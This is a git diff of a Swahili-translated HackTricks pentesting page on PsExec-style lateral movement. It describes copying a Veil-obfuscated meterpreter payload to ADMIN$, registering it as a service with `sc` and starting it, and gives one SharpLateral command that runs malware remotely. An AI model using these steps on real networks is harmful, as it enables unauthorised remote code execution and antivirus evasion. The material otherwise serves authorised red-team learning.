* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,8 +1,8 @@
# PsExec/Winexec/ScExec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,8 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## How do they work
@ -30,13 +28,13 @@ Mchakato umeelezwa katika hatua zilizo hapa chini, ukionyesha jinsi binaries za
### **Mchakato wa Kutekeleza PsExec kwa Mikono**
Tukichukulia kuna payload inayoweza kutekelezwa (iliyoundwa na msfvenom na kufichwa kwa kutumia Veil ili kuepuka kugunduliwa na antivirus), inayoitwa 'met8888.exe', ikiwakilisha payload ya meterpreter reverse_http, hatua zifuatazo zinachukuliwa:
Kukisia kuna payload inayoweza kutekelezwa (iliyoundwa na msfvenom na kufichwa kwa kutumia Veil ili kuepuka kugunduliwa na antivirus), inayoitwa 'met8888.exe', ikiwakilisha payload ya meterpreter reverse_http, hatua zifuatazo zinachukuliwa:
* **Nakala ya binary**: Executable inakopwa kwenye ADMIN$ share kutoka kwa amri ya prompt, ingawa inaweza kuwekwa mahali popote kwenye mfumo wa faili ili kubaki kufichwa.
* **Kuunda huduma**: Kutumia amri ya Windows `sc`, ambayo inaruhusu kuuliza, kuunda, na kufuta huduma za Windows kwa mbali, huduma inayoitwa "meterpreter" inaundwa ili kuelekeza kwenye binary iliyopakiwa.
* **Kuanza huduma**: Hatua ya mwisho inahusisha kuanzisha huduma, ambayo itasababisha "time-out" error kwa sababu binary sio binary halisi ya huduma na inashindwa kurudisha msimbo wa majibu unaotarajiwa. Kosa hili halina umuhimu kwani lengo kuu ni utekelezaji wa binary.
* **Kuunda huduma**: Kutumia amri ya Windows `sc`, ambayo inaruhusu kuuliza, kuunda, na kufuta huduma za Windows kwa mbali, huduma inayoitwa "meterpreter" inaundwa kuelekeza kwenye binary iliyopakiwa.
* **Kuanza huduma**: Hatua ya mwisho inahusisha kuanzisha huduma, ambayo huenda ikasababisha kosa la "time-out" kwa sababu binary sio binary halisi ya huduma na inashindwa kurudisha msimbo wa majibu unaotarajiwa. Kosa hili halina umuhimu kwani lengo kuu ni utekelezaji wa binary.
Uchunguzi wa mlistener wa Metasploit utaonyesha kuwa kikao kimeanzishwa kwa mafanikio.
Uchunguzi wa msikilizaji wa Metasploit utaonyesha kuwa kikao kimeanzishwa kwa mafanikio.
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
@ -54,13 +52,11 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
{% endcode %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -68,7 +64,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}